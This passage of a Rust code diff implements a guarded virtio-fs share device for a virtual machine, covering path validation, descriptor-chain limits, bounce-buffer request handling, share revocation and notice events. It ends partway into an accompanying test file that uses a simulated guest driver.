RING_BYTES; ++/// A capture or completion waits at most this long for a frozen gate (the guarded block device's bound). ++const FREEZE_WAIT: Duration = Duration::from_secs(2); ++const VIRTQ_DESC_F_NEXT: u16 = 1; ++const VIRTQ_DESC_F_WRITE: u16 = 2; ++/// The bounce copy: the descriptor table, then the chain's buffers from this offset. ++const BOUNCE_DATA: u64 = 8192; ++const BOUNCE_SIZE: usize = BOUNCE_DATA as usize + MAX_CHAIN_BYTES as usize; ++static ZEROS: [u8; 4096] = [0; 4096]; ++ ++/// `[a-z0-9-]{1,32}`. ++pub fn valid_tag(tag: &[u8]) -> bool { ++ (1..=TAG_MAX).contains(&tag.len()) && tag.iter().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || *b == b'-') ++} ++ ++/// A canonical guest mount path under `/workspace/` or `/run/winter/`: at least one component below the ++/// prefix, no empty, `.` or `..` component, no trailing slash, components of `[A-Za-z0-9._-]`, at most 255 bytes. ++pub fn valid_guest_path(path: &[u8]) -> bool { ++ if path.len() > GUEST_PATH_MAX { ++ return false; ++ } ++ let Some(rest) = path.strip_prefix(b"/workspace/").or_else(|| path.strip_prefix(b"/run/winter/")) else { ++ return false; ++ }; ++ rest.split(|b| *b == b'/').all(|part| { ++ !part.is_empty() && part != b"." && part != b".." && part.iter().all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) ++ }) ++} ++ ++/// Two mount paths that are equal, or one below the other. ++pub fn guest_paths_overlap(a: &[u8], b: &[u8]) -> bool { ++ let below = |parent: &[u8], child: &[u8]| child.len() > parent.len() && child.starts_with(parent) && child[parent.len()] == b'/'; ++ a == b || below(a, b) || below(b, a) ++} ++ ++/// The ABI number of a `share_notice` kind (`KRUN_COWORK_SHARE_NOTICE_*`). ++pub fn notice_number(kind: NoticeKind) -> u32 { ++ match kind { ++ NoticeKind::Envrc => 1, ++ NoticeKind::VscodeTasks => 2, ++ NoticeKind::VscodeSettings => 3, ++ NoticeKind::CodeWorkspace => 4, ++ NoticeKind::IdeaProject => 5, ++ NoticeKind::GitProtected => 6, ++ } ++} ++ ++/// What the worker turns into an L2 status: `share_revoked{tag}` or `share_notice{tag, kind}`. ++#[derive(Clone, Debug, PartialEq, Eq)] ++pub enum ShareEvent { ++ Revoked { tag: String }, ++ Notice { tag: String, kind: NoticeKind }, ++} ++ ++#[derive(Default)] ++struct EventState { ++ queue: VecDeque, ++ /// (tag, 0) for a revocation, (tag, the notice's ABI number) for a notice: each is queued at most once ++ /// per incarnation, which also bounds the queue (12 tags x 7 events). ++ sent: HashSet<(String, u32)>, ++} ++ ++/// The share events of one context, drained by the worker (`krun_cowork_next_share_event_v1`). ++#[derive(Default)] ++pub struct ShareEvents { ++ state: Mutex, ++ ready: Condvar, ++} ++ ++impl ShareEvents { ++ pub fn new() -> Arc { ++ Arc::new(Self::default()) ++ } ++ ++ fn lock(&self) -> MutexGuard<'_, EventState> { ++ self.state.lock().unwrap_or_else(|poisoned| poisoned.into_inner()) ++ } ++ ++ fn push(&self, tag: &str, kind: Option) { ++ let mut state = self.lock(); ++ if state.sent.insert((tag.to_string(), kind.map_or(0, notice_number))) { ++ let tag = tag.to_string(); ++ state.queue.push_back(match kind { ++ None => ShareEvent::Revoked { tag }, ++ Some(kind) => ShareEvent::Notice { tag, kind }, ++ }); ++ self.ready.notify_all(); ++ } ++ } ++ ++ /// The oldest undrained event, waiting at most `timeout` for one. ++ pub fn next(&self, timeout: Duration) -> Option { ++ let deadline = Instant::now() + timeout; ++ let mut state = self.lock(); ++ loop { ++ if let Some(event) = state.queue.pop_front() { ++ return Some(event); ++ } ++ let remaining = deadline.saturating_duration_since(Instant::now()); ++ if remaining.is_zero() { ++ return None; ++ } ++ state = self.ready.wait_timeout(state, remaining).unwrap_or_else(|poisoned| poisoned.into_inner()).0; ++ } ++ } ++} ++ ++ ++struct Slot { ++ /// The share's server while no device thread holds it. ++ server: Option>, ++ /// The running device thread's request queue event (R11: the revoker wakes an idle thread through it). ++ wake: Option>, ++ /// The descriptors were closed and `Revoked` was reported. ++ closed: bool, ++} ++ ++/// One share: its tag, flags, root identity, revoke switch and server, from `krun_cowork_add_share_v1` to ++/// the end of the process. ++pub struct ShareControl { ++ tag: String, ++ flags: ShareFlags, ++ identity: (u64, u64), ++ guest_path: CString, ++ /// The confined server's `share_notice` sink (R15); `forward_notices` moves it onto the event queue. ++ notices: ShareNotices, ++ revoke: RevokeSwitch, ++ events: Arc, ++ slot: Mutex, ++} ++ ++impl fmt::Debug for ShareControl { ++ fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { ++ f.debug_struct("ShareControl").field("tag", &self.tag).field("flags", &self.flags).field("identity", &self.identity).finish() ++ } ++} ++ ++impl ShareControl { ++ /// Builds the share's confined server, which owns `config.root` from here on. ++ pub fn new(tag: &str, config: ConfinedConfig, events: Arc) -> io::Result> { ++ if !valid_tag(tag.as_bytes()) || !valid_guest_path(config.guest_path.as_bytes()) { ++ return Err(io::Error::from_raw_os_error(libc::EINVAL)); ++ } ++ let flags = config.flags; ++ let guest_path = config.guest_path.clone(); ++ let fs = ConfinedFs::new(config)?; ++ Ok(Arc::new(ShareControl { ++ tag: tag.to_string(), ++ flags, ++ identity: fs.root_identity(), ++ guest_path, ++ notices: fs.notices(), ++ revoke: fs.revoke_switch(), ++ events, ++ slot: Mutex::new(Slot { server: Some(Server::new(fs)), wake: None, closed: false }), ++ })) ++ } ++ ++ fn lock(&self) -> MutexGuard<'_, Slot> { ++ self.slot.lock().unwrap_or_else(|poisoned| poisoned.into_inner()) ++ } ++ ++ pub fn tag(&self) -> &str { ++ &self.tag ++ } ++ ++ pub fn flags(&self) -> ShareFlags { ++ self.flags ++ } ++ ++ /// The root's (dev, ino). ++ pub fn identity(&self) -> (u64, u64) { ++ self.identity ++ } ++ ++ /// The canonical guest mount path (R15 gitfiles). ++ pub fn guest_path(&self) -> &CStr { ++ &self.guest_path ++ } ++ ++ /// The confined server's notice sink (shared with the server). ++ pub fn notices(&self) -> ShareNotices { ++ self.notices.clone() ++ } ++ ++ /// Moves the server's pending notices onto the event queue as `share_notice{tag, kind}`, once per kind. ++ /// The device thread calls it after every request; the drain calls it before it waits. ++ pub fn forward_notices(&self) { ++ for kind in self.notices.drain() { ++ self.events.push(&self.tag, Some(kind)); ++ } ++ } ++ ++ pub fn is_revoked(&self) -> bool { ++ self.revoke.is_revoked() ++ } ++ ++ /// R11, from the worker's thread: sets the flag, then either closes a share no device thread holds (and ++ /// reports), or wakes the device thread through its queue event so it closes its own descriptors. ++ /// A second call changes nothing and reports nothing. ++ pub fn revoke(&self) { ++ self.revoke.revoke(); ++ let mut slot = self.lock(); ++ if slot.closed { ++ return; ++ } ++ if let Some(server) = slot.server.as_mut() { ++ server.close_confined(); ++ slot.closed = true; ++ self.events.push(&self.tag, None); ++ } else if let Some(wake) = &slot.wake { ++ let _ = wake.write(1); ++ } ++ } ++ ++ /// The descriptors the share's server holds while no device thread runs it (`None` while one does). ++ pub fn idle_descriptors(&self) -> Option { ++ self.lock().server.as_ref().map(|server| server.confined_fs().open_descriptors()) ++ } ++ ++ /// The device thread takes the server for its activation; `wake` is its request queue event. ++ fn take(&self, wake: Arc) -> Option> { ++ let mut slot = self.lock(); ++ let server = slot.server.take()?; ++ slot.wake = Some(wake); ++ Some(server) ++ } ++ ++ fn put_back(&self, server: Server) { ++ let mut slot = self.lock(); ++ slot.server = Some(server); ++ slot.wake = None; ++ } ++ ++ /// The device thread's request-boundary check (R11): once the flag is set, it closes its own descriptors ++ /// and reports, once. ++ fn close_if_revoked(&self, server: &mut Server) { ++ if !self.revoke.is_revoked() { ++ return; ++ } ++ let mut slot = self.lock(); ++ if slot.closed { ++ return; ++ } ++ server.close_confined(); ++ slot.closed = true; ++ self.events.push(&self.tag, None); ++ } ++} ++ ++/// The device's queues and guest memory, only ever touched under a lease, plus the private bounce copy the ++/// server runs on. ++pub(crate) struct FsPort { ++ memory: GuestMemoryMmap, ++ queues: Vec, ++ access: Access, ++ device: Device, ++ bounce: GuestMemoryMmap, ++ _rings: Vec, ++} ++ ++/// A request popped from a queue: its head, its ranges, the bytes it carries and the pin on every range. ++pub(crate) struct Captured { ++ queue: usize, ++ head: u16, ++ readable: Vec, ++ writable: Vec, ++ request: Vec, ++ /// Released after the used entry is published, under the completion lease. ++ _pin: Pin, ++} ++ ++#[derive(Debug, PartialEq, Eq)] ++pub(crate) enum Step { ++ Empty, ++ Completed, ++ Stopped, ++} ++ ++fn total(ranges: &[Range]) -> u64 { ++ ranges.iter().map(|r| r.len).sum() ++} ++ ++/// R14: the chain's readable and writable ranges, refused before anything is pinned when it has more than ++/// `MAX_CHAIN_DESCRIPTORS` descriptors or more than `limit` bytes. Also refused: an indirect or unknown ++/// flag, a cycle, a readable descriptor after a writable one, a chain with nothing to read. ++fn walk_chain(head: DescriptorChain<'_>, limit: u64) -> Result<(Vec, Vec), Fault> { ++ let (mut readable, mut writable) = (Vec::new(), Vec::new()); ++ let (mut count, mut bytes) = (0usize, 0u64); ++ let mut seen = HashSet::new(); ++ let mut next = Some(head); ++ while let Some(desc) = next { ++ count += 1; ++ if count > MAX_CHAIN_DESCRIPTORS { ++ return Err(Fault::Limit); ++ } ++ bytes = bytes.checked_add(u64::from(desc.len)).ok_or(Fault::Overflow)?; ++ if bytes > limit { ++ return Err(Fault::Limit); ++ } ++ if !seen.insert(desc.index) || desc.flags & !(VIRTQ_DESC_F_NEXT | VIRTQ_DESC_F_WRITE) != 0 { ++ return Err(Fault::InvalidRange); ++ } ++ if desc.len != 0 { ++ let range = Range { gpa: desc.addr.raw_value(), len: u64::from(desc.len) }; ++ if desc.is_write_only() { ++ writable.push(range); ++ } else if writable.is_empty() { ++ readable.push(range); ++ } else { ++ return Err(Fault::InvalidRange); ++ } ++ } ++ next = if desc.flags & VIRTQ_DESC_F_NEXT != 0 { Some(desc.next_descriptor().ok_or(Fault::InvalidRange)?) } else { None }; ++ } ++ if readable.is_empty() { ++ return Err(Fault::InvalidRange); ++ } ++ Ok((readable, writable)) ++} ++ ++/// A chain's writable area holds at least the FUSE out header. The one exception is a request that takes no ++/// reply, sent as Linux sends it: a FORGET or BATCH_FORGET on the high-priority queue with no writable ++/// descriptor. The opcode is read from the private copy of the request, the one the server will see. ++fn reply_area_fits(index: usize, request: &[u8], writable: u64) -> bool { ++ if writable >= OUT_HEADER_BYTES { ++ return true; ++ } ++ if writable != 0 || index != HPQ_INDEX { ++ return false; ++ } ++ let opcode = request.get(4..8).and_then(|b| <[u8; 4]>::try_from(b).ok()).map(u32::from_le_bytes); ++ opcode == Some(super::fuse::Opcode::Forget as u32) || opcode == Some(super::fuse::Opcode::BatchForget as u32) ++} ++ ++impl FsPort { ++ /// Pins both queues' rings (R14): the high-priority queue and the request queue, in that order. ++ pub(crate) fn new(memory: GuestMemoryMmap, queues: Vec, access: Access, device: Device) -> Result { ++ if queues.len() != NUM_QUEUES { ++ return Err(Fault::InvalidRange); ++ } ++ let lease = access.begin(device)?; ++ let mut rings = Vec::with_capacity(NUM_QUEUES); ++ for queue in &queues { ++ queue.fixture_validate_report(&memory).map_err(|_| Fault::InvalidRange)?; ++ let ranges: Vec<_> = queue ++ .fixture_exclusions(&memory, false) ++ .map_err(|_| Fault::InvalidRange)? ++ .into_iter() ++ .map(|(gpa, len)| Range { gpa, len }) ++ .collect(); ++ rings.push(lease.pin(&ranges)?); ++ } ++ drop(lease); ++ let bounce = GuestMemoryMmap::from_ranges(&[(GuestAddress(0), BOUNCE_SIZE)]).map_err(|_| Fault::Limit)?; ++ Ok(FsPort { memory, queues, access, device, bounce, _rings: rings }) ++ } ++ ++ fn checked_range(&self, range: Range) -> Result<(), Fault> { ++ let end = range.gpa.checked_add(range.len).ok_or(Fault::Overflow)?; ++ let region = self.memory.find_region(GuestAddress(range.gpa)).ok_or(Fault::InvalidRange)?; ++ if end > region.start_addr().raw_value().checked_add(region.len()).ok_or(Fault::Overflow)? { ++ return Err(Fault::InvalidRange); ++ } ++ Ok(()) ++ } ++ ++ /// Under the lease: pops one chain, refuses it before pinning if it is over the bounds, copies its ++ /// readable bytes out and pins every range. ++ fn capture(&mut self, lease: &Lease, index: usize) -> Result, Fault> { ++ lease.check(&self.access, self.device)?; ++ let limit = if index == HPQ_INDEX { MAX_HPQ_BYTES } else { MAX_CHAIN_BYTES }; ++ let Some(head) = self.queues[index].fixture_checked_pop(&self.memory).map_err(|_| Fault::InvalidRange)? else { ++ return Ok(None); ++ }; ++ let head_index = head.index; ++ let (readable, writable) = walk_chain(head, limit)?; ++ for range in readable.iter().chain(&writable) { ++ self.checked_range(*range)?; ++ } ++ let mut request = vec![0u8; total(&readable) as usize]; ++ let mut done = 0; ++ for range in &readable { ++ let len = range.len as usize; ++ self.memory.read_slice(&mut request[done..done + len], GuestAddress(range.gpa)).map_err(|_| Fault::InvalidRange)?; ++ done += len; ++ } ++ if !reply_area_fits(index, &request, total(&writable)) { ++ return Err(Fault::InvalidRange); ++ } ++ let ranges: Vec = readable.iter().chain(&writable).copied().collect(); ++ let pin = lease.pin(&ranges)?; ++ Ok(Some(Captured { queue: index, head: head_index, readable, writable, request, _pin: pin })) ++ } ++ ++ /// No lease: the server runs on the bounce copy, laid out descriptor for descriptor as the guest laid out ++ /// the chain. Returns the reply bytes (at most the writable size). ++ fn perform(&mut self, server: &Server, captured: &Captured) -> Vec { ++ let count = captured.readable.len() + captured.writable.len(); ++ let in_bytes = total(&captured.readable); ++ let out_bytes = total(&captured.writable) as usize; ++ if self.bounce.write_slice(&captured.request, GuestAddress(BOUNCE_DATA)).is_err() { ++ return Vec::new(); ++ } ++ // The reply area starts zeroed: nothing of an earlier request can reach this reply. ++ let mut cleared = 0; ++ while cleared < out_bytes { ++ let len = (out_bytes - cleared).min(ZEROS.len()); ++ if self.bounce.write_slice(&ZEROS[..len], GuestAddress(BOUNCE_DATA + in_bytes + cleared as u64)).is_err() { ++ return Vec::new(); ++ } ++ cleared += len; ++ } ++ let mut at = BOUNCE_DATA; ++ for (index, range) in captured.readable.iter().chain(&captured.writable).enumerate() { ++ let mut flags = if index + 1 < count { VIRTQ_DESC_F_NEXT } else { 0 }; ++ if index >= captured.readable.len() { ++ flags |= VIRTQ_DESC_F_WRITE; ++ } ++ let next = if index + 1 < count { index as u16 + 1 } else { 0 }; ++ let descriptor = Descriptor { addr: at, len: range.len as u32, flags, next }; ++ if self.bounce.write_obj(descriptor, GuestAddress(16 * index as u64)).is_err() { ++ return Vec::new(); ++ } ++ at += range.len; ++ } ++ let Some(chain) = DescriptorChain::checked_new(&self.bounce, GuestAddress(0), count as u16, 0) else { ++ return Vec::new(); ++ }; ++ let written = match (Reader::new(&self.bounce, chain.clone()), Writer::new(&self.bounce, chain)) { ++ (Ok(reader), Ok(writer)) => server.handle_confined_message(reader, writer).unwrap_or(0), ++ _ => 0, ++ }; ++ let mut reply = vec![0u8; written.min(out_bytes)]; ++ if self.bounce.read_slice(&mut reply, GuestAddress(BOUNCE_DATA + in_bytes)).is_err() { ++ return Vec::new(); ++ } ++ reply ++ } ++ ++ /// Under the lease: copies the reply into the guest's writable ranges and publishes the used entry. The ++ /// caller drops the request's pin after this, still under the lease. ++ fn complete(&mut self, lease: &Lease, captured: &Captured, reply: &[u8]) -> Result<(), Fault> { ++ lease.check(&self.access, self.device)?; ++ let queue = &mut self.queues[captured.queue]; ++ queue.fixture_validate_report(&self.memory).map_err(|_| Fault::InvalidRange)?; ++ let mut done = 0; ++ for range in &captured.writable { ++ if done == reply.len() { ++ break; ++ } ++ let len = (range.len as usize).min(reply.len() - done); ++ self.memory.write_slice(&reply[done..done + len], GuestAddress(range.gpa)).map_err(|_| Fault::InvalidRange)?; ++ done += len; ++ } ++ if done != reply.len() { ++ return Err(Fault::InvalidRange); ++ } ++ let len = u32::try_from(reply.len()).map_err(|_| Fault::Overflow)?; ++ queue.add_used(&self.memory, captured.head, len).map_err(|_| Fault::InvalidRange) ++ } ++ ++ /// Waits for a frozen gate to reopen, as the guarded block device does: false if stopped meanwhile. ++ fn wait(&self, stopped: &impl Fn() -> bool) -> Result { ++ let deadline = Instant::now() + FREEZE_WAIT; ++ loop { ++ if stopped() || self.access.stopped() { ++ return Ok(false); ++ } ++ match self.access.wait_begin(self.device, Duration::from_millis(10)) { ++ Ok(lease) => { ++ drop(lease); ++ return Ok(true); ++ } ++ Err(Fault::Timeout) if Instant::now() < deadline => {} ++ Err(fault) => return Err(fault), ++ } ++ } ++ } ++} ++ ++/// One request of one queue, start to finish: capture under a lease, the filesystem work on the bounce copy ++/// with no lease, completion under a lease. A freeze defers either lease; a stop abandons the request ++/// without a used entry. ++pub(crate) fn service_next(port: &mut FsPort, server: &Server, index: usize, stopped: impl Fn() -> bool) -> Result { ++ let captured = loop { ++ if stopped() || port.access.stopped() { ++ return Ok(Step::Stopped); ++ } ++ match port.access.begin(port.device) { ++ Ok(lease) => match port.capture(&lease, index)? { ++ Some(captured) => break captured, ++ None => return Ok(Step::Empty), ++ }, ++ Err(Fault::Frozen) => { ++ if !port.wait(&stopped)? { ++ return Ok(Step::Stopped); ++ } ++ } ++ Err(fault) => return Err(fault), ++ } ++ }; ++ if stopped() || port.access.stopped() { ++ return Ok(Step::Stopped); ++ } ++ let reply = port.perform(server, &captured); ++ loop { ++ if stopped() || port.access.stopped() { ++ return Ok(Step::Stopped); ++ } ++ match port.access.begin(port.device) { ++ Ok(lease) => { ++ port.complete(&lease, &captured, &reply)?; ++ drop(captured); ++ drop(lease); ++ return Ok(Step::Completed); ++ } ++ Err(Fault::Frozen) => { ++ if !port.wait(&stopped)? { ++ return Ok(Step::Stopped); ++ } ++ } ++ Err(fault) => return Err(fault), ++ } ++ } ++} ++ ++/// What `Fs` keeps for a share device between activations. ++pub(crate) struct CoworkDevice { ++ pub(crate) share: Arc, ++ pub(crate) access: Access, ++ pub(crate) device: Device, ++ pub(crate) stop: Arc, ++} ++ ++/// The share device's one worker thread (R10). ++pub(crate) struct GuardedFsWorker { ++ port: FsPort, ++ events: Vec>, ++ share: Arc, ++ server: Option>, ++ stop_fd: EventFd, ++ stop: Arc, ++} ++ ++impl GuardedFsWorker { ++ pub(crate) fn new(queues: Vec, memory: GuestMemoryMmap, access: Access, device: Device, share: Arc, stop_fd: EventFd, stop: Arc) -> Result { ++ let (queues, events): (Vec<_>, Vec<_>) = queues.into_iter().map(|q| (q.queue, q.event)).unzip(); ++ let port = FsPort::new(memory, queues, access, device)?; ++ let server = share.take(events[REQ_INDEX].clone()).ok_or(Fault::Busy)?; ++ Ok(GuardedFsWorker { port, events, share, server: Some(server), stop_fd, stop }) ++ } ++ ++ pub(crate) fn run(self, completed: impl FnMut() + Send + 'static) -> JoinHandle<()> { ++ std::thread::Builder::new().name("guarded fs worker".into()).spawn(move || self.work(completed)).unwrap() ++ } ++ ++ fn work(mut self, mut completed: impl FnMut()) { ++ let result = self.event_loop(&mut completed); ++ let _ = self.stop_fd.read(); ++ if result.is_err() { ++ self.port.access.stop(); ++ } ++ } ++ ++ /// Drains one queue, checking the revoke flag at every request boundary (the first one included, so a ++ /// wake by the revoker closes an idle thread at once). True when stopped. ++ fn drain(&mut self, index: usize, completed: &mut impl FnMut()) -> Result { ++ let server = self.server.as_mut().expect("the worker holds the server"); ++ loop { ++ self.share.close_if_revoked(server); ++ let stop = &self.stop; ++ match service_next(&mut self.port, server, index, || stop.load(Ordering::Acquire))? { ++ Step::Completed => { ++ self.share.forward_notices(); ++ completed() ++ } ++ Step::Empty => return Ok(false), ++ Step::Stopped => return Ok(true), ++ } ++ } ++ } ++ ++ fn event_loop(&mut self, completed: &mut impl FnMut()) -> Result<(), Fault> { ++ let epoll = Epoll::new().map_err(|_| Fault::Stopped)?; ++ let fds = [self.events[HPQ_INDEX].as_raw_fd(), self.events[REQ_INDEX].as_raw_fd(), self.stop_fd.as_raw_fd()]; ++ for fd in fds { ++ epoll.ctl(ControlOperation::Add, fd, &EpollEvent::new(EventSet::IN, fd as u64)).map_err(|_| Fault::Stopped)?; ++ } ++ loop { ++ // R11: the revoker wakes an idle thread through the request queue event; the drain's boundary check ++ // then closes at once. ++ if self.stop.load(Ordering::Acquire) { ++ return Ok(()); ++ } ++ let mut ready = vec![EpollEvent::new(EventSet::empty(), 0); 8]; ++ let count = epoll.wait(8, -1, &mut ready).map_err(|_| Fault::Stopped)?; ++ for event in &ready[..count] { ++ if event.fd() == fds[2] || self.stop.load(Ordering::Acquire) { ++ return Ok(()); ++ } ++ for index in [HPQ_INDEX, REQ_INDEX] { ++ if event.fd() == fds[index] { ++ let _ = self.events[index].read(); ++ if self.drain(index, completed)? { ++ return Ok(()); ++ } ++ } ++ } ++ } ++ } ++ } ++} ++ ++impl Drop for GuardedFsWorker { ++ /// The server goes back to the share's slot (closed first if the share was revoked meanwhile), also when ++ /// the thread unwinds. ++ fn drop(&mut self) { ++ if let Some(mut server) = self.server.take() { ++ self.share.close_if_revoked(&mut server); ++ self.share.put_back(server); ++ } ++ } ++} ++ ++#[cfg(test)] ++#[path = "cowork_tests.rs"] ++mod tests; +diff --git a/src/devices/src/virtio/fs/cowork_tests.rs b/src/devices/src/virtio/fs/cowork_tests.rs +new file mode 100644 +index 0000000..b93caaa +--- /dev/null ++++ b/src/devices/src/virtio/fs/cowork_tests.rs +@@ -0,0 +1,850 @@ ++// The guarded fs device without a VM: real virtqueues of 1,024 entries in guest memory, a simulated guest ++// driver that lays chains out as the Linux virtio-fs driver does, real FUSE requests, the reclaim `Access`, ++// and the confined server on temporary trees under the system temp directory. No VM, no vCPU, no ++// Hypervisor.framework call. ++ ++use std::fs; ++use std::os::fd::OwnedFd; ++use std::path::PathBuf; ++use std::sync::atomic::AtomicUsize; ++use std::sync::mpsc; ++ ++use utils::eventfd::{EventFd, EFD_NONBLOCK}; ++use vm_memory::ByteValued; ++ ++use super::*; ++use crate::virtio::fs::fuse::*; ++ ++const MEM: usize = 4 << 20; ++const HPQ_BASE: u64 = 0x10000; ++const REQ_BASE: u64 = 0x20000; ++const BUFFERS: u64 = 0x100000; ++const STRUCTURAL_PINS: usize = 12; ++const STRUCTURAL_BYTES: u64 = 4_289_930; ++ ++static NEXT_TREE: AtomicUsize = AtomicUsize::new(0); ++ ++struct TempTree(PathBuf); ++impl TempTree { ++ fn new() -> Self { ++ let path = std::env::temp_dir().join(format!("guarded-fs-{}-{}", std::process::id(), NEXT_TREE.fetch_add(1, Ordering::SeqCst))); ++ let _ = fs::remove_dir_all(&path); ++ fs::create_dir(&path).unwrap(); ++ TempTree(path.canonicalize().unwrap()) ++ } ++} ++impl Drop for TempTree { ++ fn drop(&mut self) { ++ let _ = fs::remove_dir_all(&self.0); ++ } ++} ++ ++fn share(tree: &TempTree, tag: &str, events: Arc) -> Arc { ++ let root = OwnedFd::from(fs::File::open(&tree.0).unwrap()); ++ let flags = ShareFlags { read_only: false, winter_share: true, folder_rules: false }; ++ ShareControl::new(tag, ConfinedConfig { root, flags, guest_path: CString::new("/workspace/outputs").unwrap() }, events).unwrap() ++} ++ ++fn queue(base: u64) -> Queue { ++ let mut queue = Queue::new(QUEUE_SIZE); ++ queue.size = QUEUE_SIZE; ++ queue.ready = true; ++ queue.desc_table = GuestAddress(base); ++ queue.avail_ring = GuestAddress(base + 0x4000); ++ queue.used_ring = GuestAddress(base + 0x5000); ++ queue ++} ++ ++/// The guest side: writes descriptors and available entries as a driver would, and reads used entries. ++struct Driver { ++ mem: GuestMemoryMmap, ++ next_desc: [u16; 2], ++ avail: [u16; 2], ++ next_buffer: u64, ++} ++ ++impl Driver { ++ fn new(mem: &GuestMemoryMmap) -> Self { ++ Driver { mem: mem.clone(), next_desc: [0; 2], avail: [0; 2], next_buffer: BUFFERS } ++ } ++ ++ fn base(index: usize) -> u64 { ++ if index == HPQ_INDEX { HPQ_BASE } else { REQ_BASE } ++ } ++ ++ /// Places `bytes` (readable) or `len` zero bytes (writable) in guest memory. ++ fn buffer(&mut self, len: u64) -> u64 { ++ let at = self.next_buffer; ++ self.next_buffer += len.max(1).next_multiple_of(16); ++ assert!(self.next_buffer <= MEM as u64); ++ at ++ } ++ ++ /// Queues one chain of (address, length, writable) descriptors with `flags` extra bits on the first. ++ fn push_raw(&mut self, index: usize, chain: &[(u64, u32, bool)], extra: u16) -> u16 { ++ let base = Self::base(index); ++ let head = self.next_desc[index]; ++ for (i, (addr, len, write)) in chain.iter().enumerate() { ++ let slot = (head as usize + i) % QUEUE_SIZE as usize; ++ let last = i + 1 == chain.len(); ++ let mut flags = if last { 0 } else { VIRTQ_DESC_F_NEXT }; ++ if *write { ++ flags |= VIRTQ_DESC_F_WRITE; ++ } ++ if i == 0 { ++ flags |= extra; ++ } ++ let next = ((slot + 1) % QUEUE_SIZE as usize) as u16; ++ self.mem.write_obj(Descriptor { addr: *addr, len: *len, flags, next }, GuestAddress(base + 16 * slot as u64)).unwrap(); ++ } ++ self.next_desc[index] = ((head as usize + chain.len()) % QUEUE_SIZE as usize) as u16; ++ let ring = base + 0x4000; ++ let at = self.avail[index] % QUEUE_SIZE; ++ self.mem.write_obj(head, GuestAddress(ring + 4 + 2 * at as u64)).unwrap(); ++ self.avail[index] = self.avail[index].wrapping_add(1); ++ self.mem.write_obj(self.avail[index], GuestAddress(ring + 2)).unwrap(); ++ head ++ } ++ ++ /// A FUSE request as the Linux driver lays it out: the in header, each argument, then the out header in ++ /// its own descriptor and the rest of the reply. Returns the reply buffer's address. ++ fn request(&mut self, index: usize, opcode: u32, nodeid: u64, args: &[&[u8]], reply: u32) -> u64 { ++ let len: usize = std::mem::size_of::() + args.iter().map(|a| a.len()).sum::(); ++ let header = InHeader { len: len as u32, opcode, unique: 7, nodeid, uid: 501, gid: 20, pid: 1, padding: 0 }; ++ let mut chain = Vec::new(); ++ for part in std::iter::once(header.as_slice()).chain(args.iter().copied()) { ++ let at = self.buffer(part.len() as u64); ++ self.mem.write_slice(part, GuestAddress(at)).unwrap(); ++ chain.push((at, part.len() as u32, false)); ++ } ++ let out = self.buffer(16 + u64::from(reply)); ++ if reply > 0 || opcode != Opcode::Forget as u32 { ++ chain.push((out, 16, true)); ++ if reply > 0 { ++ chain.push((out + 16, reply, true)); ++ } ++ } ++ self.push_raw(index, &chain, 0); ++ out ++ } ++ ++ /// A BATCH_FORGET in header at `at`: the request that fills a high-priority chain, with no reply. ++ fn batch_forget(&mut self, at: u64, len: u32) { ++ let header = InHeader { len, opcode: Opcode::BatchForget as u32, unique: 0, nodeid: 0, uid: 0, gid: 0, pid: 0, padding: 0 }; ++ self.mem.write_slice(header.as_slice(), GuestAddress(at)).unwrap(); ++ } ++ ++ fn used_idx(&self, index: usize) -> u16 { ++ self.mem.read_obj(GuestAddress(Self::base(index) + 0x5000 + 2)).unwrap() ++ } ++ ++ fn used(&self, index: usize, n: u16) -> (u32, u32) { ++ let at = Self::base(index) + 0x5000 + 4 + 8 * (n % QUEUE_SIZE) as u64; ++ (self.mem.read_obj(GuestAddress(at)).unwrap(), self.mem.read_obj(GuestAddress(at + 4)).unwrap()) ++ } ++ ++ fn reply(&self, out: u64) -> (i32, Vec) { ++ let header: OutHeader = self.mem.read_obj(GuestAddress(out)).unwrap(); ++ let mut body = vec![0u8; header.len as usize - 16]; ++ self.mem.read_slice(&mut body, GuestAddress(out + 16)).unwrap(); ++ (-header.error, body) ++ } ++} ++ ++struct Rig { ++ _tree: TempTree, ++ root: PathBuf, ++ access: Access, ++ port: FsPort, ++ server: Option>, ++ driver: Driver, ++} ++ ++impl Rig { ++ fn new() -> Self { ++ let tree = TempTree::new(); ++ let root = tree.0.clone(); ++ let (max_devices, max_pins, max_bytes) = crate::workspace_disks::budget(1).unwrap(); ++ let access = Access::new(max_devices, max_pins, max_bytes); ++ let device = access.register(crate::workspace_disks::FIRST_SHARE_DEVICE).unwrap(); ++ let mem = GuestMemoryMmap::from_ranges(&[(GuestAddress(0), MEM)]).unwrap(); ++ let share = share(&tree, "winter-outputs", ShareEvents::new()); ++ let port = FsPort::new(mem.clone(), vec![queue(HPQ_BASE), queue(REQ_BASE)], access.clone(), device).unwrap(); ++ let server = share.take(Arc::new(EventFd::new(EFD_NONBLOCK).unwrap())); ++ Rig { _tree: tree, root, access, port, server, driver: Driver::new(&mem) } ++ } ++ ++ fn step(&mut self, index: usize) -> Result { ++ service_next(&mut self.port, self.server.as_ref().unwrap(), index, || false) ++ } ++ ++ fn call(&mut self, opcode: Opcode, nodeid: u64, args: &[&[u8]], reply: u32) -> (i32, Vec) { ++ let out = self.driver.request(REQ_INDEX, opcode as u32, nodeid, args, reply); ++ let before = self.driver.used_idx(REQ_INDEX); ++ assert_eq!(self.step(REQ_INDEX), Ok(Step::Completed)); ++ assert_eq!(self.driver.used_idx(REQ_INDEX), before.wrapping_add(1)); ++ let (_, len) = self.driver.used(REQ_INDEX, before); ++ let reply = self.driver.reply(out); ++ assert_eq!(len as usize, 16 + reply.1.len(), "the used length is the reply's"); ++ reply ++ } ++ ++ fn init(&mut self) { ++ let init = InitInCompat { major: KERNEL_VERSION, minor: KERNEL_MINOR_VERSION, max_readahead: 1 << 17, flags: 0 }; ++ let (error, _) = self.call(Opcode::Init, 0, &[init.as_slice()], 256); ++ assert_eq!(error, 0); ++ } ++ ++ fn ring_only(&self) -> (usize, u64) { ++ (2, 2 * RING_BYTES) ++ } ++} ++ ++fn nul(name: &[u8]) -> Vec { ++ let mut v = name.to_vec(); ++ v.push(0); ++ v ++} ++ ++#[test] ++fn guarded_fs_the_limits_and_the_budget_are_the_designs() { ++ assert_eq!(MAX_CHAIN_DESCRIPTORS, 260); ++ assert_eq!(MAX_CHAIN_BYTES, 1_056_768); ++ 